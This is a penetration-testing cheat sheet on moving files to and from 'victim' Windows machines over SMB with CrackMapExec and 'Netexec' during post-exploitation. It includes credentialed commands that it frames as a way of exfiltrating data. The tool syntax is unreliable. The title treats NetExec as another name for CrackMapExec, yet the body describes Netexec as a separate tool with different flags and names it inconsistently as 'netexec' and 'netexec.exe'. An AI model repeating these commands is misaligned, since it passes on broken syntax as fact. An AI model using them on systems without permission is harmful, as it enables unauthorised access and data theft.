CrackMapExec (NetExec)

Below is a cheat sheet for transporting files using CrackMapExec (CME) and Netexec during post-exploitation. These tools are widely used in penetration testing, especially when working with SMB and remote systems in Windows environments.

Uploading Files to Victims Using CrackMapExec and Netexec

1. CrackMapExec (CME) - Uploading Files

CrackMapExec is a popular tool for interacting with SMB shares and automating tasks like file transfers, enumeration, and exploitation. It can be used to upload files to remote systems that are accessible via SMB.

Attacking Machine Command (Upload File using CrackMapExec):

crackmapexec smb 10.10.10.10 -u username -p password --upload /path/to/local/file.txt C$\\path\\to\\remote\\file.txt

Explanation:

• crackmapexec smb tells CME to use SMB protocol.

• 10.10.10.10 is the IP address of the victim machine.

• -u username -p password specifies the credentials.

• --upload /path/to/local/file.txt C$\\path\\to\\remote\\file.txt uploads a local file to the remote machine using the C$ share (administrative share). The destination path is specified after C$.

2. Netexec - Uploading Files

Netexec is another tool that facilitates command execution and file transfers. It allows users to upload files to remote systems over SMB.

Attacking Machine Command (Upload File using Netexec):

netexec -t 10.10.10.10 -u username -p password -f /path/to/local/file.txt -r C$\\path\\to\\remote\\file.txt

Explanation:

• netexec.exe is the command-line tool used for execution.

• -t 10.10.10.10 specifies the target victim machine’s IP address.

• -u username -p password provides the necessary credentials for authentication.

• -f /path/to/local/file.txt specifies the local file to be uploaded.

• -r C$\\path\\to\\remote\\file.txt specifies the destination path on the remote machine.

---

Downloading Files from Victims Using CrackMapExec and Netexec

1. CrackMapExec (CME) - Downloading Files

CrackMapExec can also be used to download files from remote systems over SMB. This can be useful for exfiltrating data after successful exploitation.

Attacking Machine Command (Download File using CrackMapExec):

crackmapexec smb 10.10.10.10 -u username -p password --download C$\\path\\to\\remote\\file.txt /path/to/local/file.txt

Explanation:

• --download C$\\path\\to\\remote\\file.txt /path/to/local/file.txt specifies that the file located at the given remote path will be downloaded to the specified local path.

2. Netexec - Downloading Files

Netexec can also be used to download files from the victim system. This is useful for extracting valuable files during a post-exploitation phase.

Attacking Machine Command (Download File using Netexec):

netexec.exe -t 10.10.10.10 -u username -p password -d C$\\path\\to\\remote\\file.txt -l /path/to/local/file.txt

Explanation:

• -d C$\\path\\to\\remote\\file.txt specifies the remote file to be downloaded.

• -l /path/to/local/file.txt defines where the downloaded file will be saved on the attacking machine.

---